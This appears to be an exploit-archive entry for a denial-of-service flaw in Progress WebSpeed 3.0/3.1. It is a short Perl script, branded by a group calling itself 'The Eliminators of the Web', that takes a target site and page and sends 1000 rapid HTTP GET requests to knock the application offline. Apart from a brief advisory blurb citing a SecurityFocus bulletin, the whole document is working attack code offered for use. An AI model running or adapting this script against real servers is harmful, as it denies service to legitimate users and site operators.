Progress WebSpeed 3.0/3.1 - Denial of Service

//source: https://www.securityfocus.com/bid/23778/info
//
//WebSpeed is prone to a denial-of-service vulnerability because it fails to properly sanitize user-supplied input.
//
//Successful exploits can allow attackers to cause the application to become unresponsive, denying service to legitimate users. 

if(!$ARGV[0]){
        print "U.LP.O.W\n";
        print "www.ulpow.net\n";
        print "The Eliminators of the Web\n";
        print "Usage:perl webspeed.pl targetsite targetpage\n";

} else {

$site = $ARGV[0];
$page = $ARGV[1];

print "Attack Started\n";

$ish=1;

do {
$ish++;
use IO::Socket;
$socket = new IO::Socket::INET( PeerAddr => $site,
PeerPort => 80,
Proto => 'tcp',
Type => SOCK_STREAM, ) or die "Couldn't Connect to target please check again
address!\n";
print $socket "GET $page HTTP/1.0\r\n";
close($socket);
} while ($ish < 1000);

print ":-; Attack Complete\n";
}